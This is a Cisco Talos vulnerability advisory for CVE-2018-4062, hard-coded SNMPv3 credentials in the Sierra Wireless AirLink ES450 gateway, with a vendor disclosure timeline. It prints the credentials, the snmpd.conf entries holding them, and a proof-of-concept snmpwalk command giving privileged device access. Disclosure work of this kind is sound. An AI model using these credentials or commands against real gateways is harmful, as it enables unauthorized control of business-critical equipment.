Sierra Wireless AirLink ES450 SNMPD Hard-Coded Credentials

`Talos Vulnerability Report  
  
TALOS-2018-0747  
  
Sierra Wireless AirLink ES450 SNMPD hard-coded credentials vulnerability  
April 25, 2019  
  
CVE Number  
CVE-2018-4062  
  
Summary  
  
A hard-coded credentials vulnerability exists in the snmpd function of the Sierra Wireless AirLink ES450 FW 4.9.3. Activating snmpd outside of the WebUI can cause the activation of the hard-coded credentials, resulting in a hard-coded, in the exposure of a privileged user. An attacker can activate snmpd without any configuration changes to trigger this vulnerability.  
  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
7.7 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H  
CWE  
  
CWE-798: Use of Hard-coded Credentials  
  
  
Details  
  
Sierra Wireless manufactures wireless communications equipment. They provide embedded solutions and wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is an LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting point-of-sale devices, remote SCADA equipment, or other business-critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
Hard-coded credentials of sierra:12345678:abcdefgh are left in the snmpd.conf files for SNMP v3. This hard-coded user is active if snmpd is executed from outside of the web user interface. The sierra user has read-write privileges for the device.  
  
snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858  
  
This command performs a privileged snmpwalk of the device's MIB.  
  
The configuration files that are responsible for these hard-coded credentials are show below.  
  
/usr/local/share/snmp/snmpd.conf  
  
###########################################################################  
#  
# snmpd.conf  
#  
# - created by the snmpconf configuration program  
#  
###########################################################################  
# SECTION: Access Control Setup  
#  
# This section defines who is allowed to talk to your running  
# snmp agent.  
  
# rwuser: a SNMPv3 read-write user  
# arguments: user [noauth| auth|priv] [restriction_oid]  
  
# rwuser sierra priv   
rocommunity public  
  
... truncated for brevity  
  
sysservices 12  
  
rwuser sierra  
  
/var/net-snmp/snmpd.conf  
  
createUser sierra MD5 "12345678" DES "abcdefgh"  
  
This vulnerability was discovered and tested using the AirLink ES450. This vulnerability most likely also affects the AirLink GX450 product as well.  
Exploit Proof of Concept  
  
Start /usr/local/sbin/snmpd -f this can be done using other exploits, or via the root shell.  
  
Execute snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858 for a full snmpwalk of the device  
  
Note: This will not work if SNMP is activated through the WebUI as depending on the version that you activate, one of the two files are overwritten during configuration.  
  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
  
Credit  
  
Discovered by Carl Hurd of Cisco Talos.  
`